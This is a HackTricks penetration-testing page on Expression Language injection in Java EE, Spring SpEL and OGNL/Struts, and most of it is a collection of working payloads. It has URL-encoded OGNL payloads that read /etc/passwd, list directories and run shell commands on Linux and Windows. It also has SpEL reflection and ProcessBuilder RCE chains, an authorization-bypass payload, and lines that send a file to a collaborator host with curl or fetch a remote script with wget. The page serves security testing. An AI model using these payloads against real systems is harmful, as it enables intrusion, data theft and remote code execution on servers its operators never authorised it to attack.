EL - Expression Language - HackTricks

# EL - Expression Language

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

## Bsic Info

Expression Language (EL) is integral in JavaEE for bridging the presentation layer (e.g., web pages) and application logic (e.g., managed beans), enabling their interaction. It's predominantly used in:

- JavaServer Faces (JSF): For binding UI components to backend data/actions.
- JavaServer Pages (JSP): For data access and manipulation within JSP pages.
- Contexts and Dependency Injection for Java EE (CDI): For facilitating web layer interaction with managed beans.

Usage Contexts:

- Spring Framework: Applied in various modules like Security and Data.
- General Use: Through SpEL API by developers in JVM-based languages like Java, Kotlin, and Scala.

EL's is present in JavaEE technologies, standalone environments, and recognizable through `.jsp` or `.jsf` file extensions, stack errors, and terms like "Servlet" in headers. However, its features and the use of certain characters can be version-dependent.

> [!NOTE] Depending on the EL version some features might be On or Off and usually some characters may be disallowed.

## Basic Example

(You can find another interesting tutorial about EL in https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/)

Download from the Maven repository the jar files:

- `commons-lang3-3.9.jar`
- `spring-core-5.2.1.RELEASE.jar`
- `commons-logging-1.2.jar`
- `spring-expression-5.2.1.RELEASE.jar`

And create a the following `Main.java` file:

    import org.springframework.expression.Expression;
    import org.springframework.expression.ExpressionParser;
    import org.springframework.expression.spel.standard.SpelExpressionParser;

    public class Main {
        public static ExpressionParser PARSER;

        public static void main(String[] args) throws Exception {
            PARSER = new SpelExpressionParser();

            System.out.println("Enter a String to evaluate:");
            java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
            String input = stdin.readLine();
            Expression exp = PARSER.parseExpression(input);
            String result = exp.getValue().toString();
            System.out.println(result);
        }
    }

Next compile the code (if you don't have `javac` installed, install `sudo apt install default-jdk`):

    javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java

Execute the application with:

    java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
    Enter a String to evaluate:
    {5*5}
    [25]

Note how in the previous example the term `{5*5}` was evaluated.

## CVE Based Tutorial

Check it in this post: https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a

## Payloads

### Basic actions

    #Basic string operations examples
    {"a".toString()}
    [a]

    {"dfd".replace("d","x")}
    [xfx]

    #Access to the String class
    {"".getClass()}
    [class java.lang.String]

    #Access ro the String class bypassing "getClass"
    #{""["class"]}

    #Access to arbitrary class
    {"".getClass().forName("java.util.Date")}
    [class java.util.Date]

    #List methods of a class
    {"".getClass().forName("java.util.Date").getMethods()[0].toString()}
    [public boolean java.util.Date.equals(java.lang.Object)]

### Detection

- Burp detection

    gk6q${"zkz".toString().replace("k", "x")}doap2
    #The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.

- J2EE detection

    #J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
    https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL

- Sleep 10 secs

    #Blind detection vector (sleep during 10 seconds)
    https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}

### Remote File Inclusion

    https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd

### Directory Listing

    https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..

### RCE

- Basic RCE explanation

    #Check the method getRuntime is there
    {"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}
    [public static java.lang.Runtime java.lang.Runtime.getRuntime()]

    #Execute command (you won't see the command output in the console)
    {"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}
    [Process[pid=10892, exitValue=0]]

    #Execute command bypassing "getClass"
    #{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")}

    # With HTMl entities injection inside the template
    <a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

- RCE linux

    https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt

- RCE Windows (not tested)

    https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt

- More RCE

    // Common RCE payloads
    ''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
    ''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()

    // Method using Runtime via getDeclaredConstructors
    #{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
    #{session.getAttribute("rtc").setAccessible(true)}
    #{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}

    // Method using processbuilder
    ${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
    ${request.getAttribute("c").add("cmd.exe")}
    ${request.getAttribute("c").add("/k")}
    ${request.getAttribute("c").add("ping x.x.x.x")}
    ${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
    ${request.getAttribute("a")}

    // Method using Reflection & Invoke
    ${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}

    // Method using ScriptEngineManager one-liner
    ${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}

    // Method using ScriptEngineManager
    {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
    ${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");

    //https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt
    (T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd "+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+"c "+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(100)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(114)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()))
    T(java.lang.System).getenv()[0]
    T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
    T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
    ''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')

### Inspecting the environment

- `applicationScope` - global application variables
- `requestScope` - request variables
- `initParam` - application initialization variables
- `sessionScope` - session variables
- `param.X` - param value where X is the name of a http parameter

You will need to cast this variables to String like:

    ${sessionScope.toString()}

#### Authorization bypass example

    ${pageContext.request.getSession().setAttribute("admin", true)}

The application can also use custom variables like:

    ${user}
    ${password}
    ${employee.FirstName}

## WAF Bypass

Check https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/

## References

- https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/
- https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools
- https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.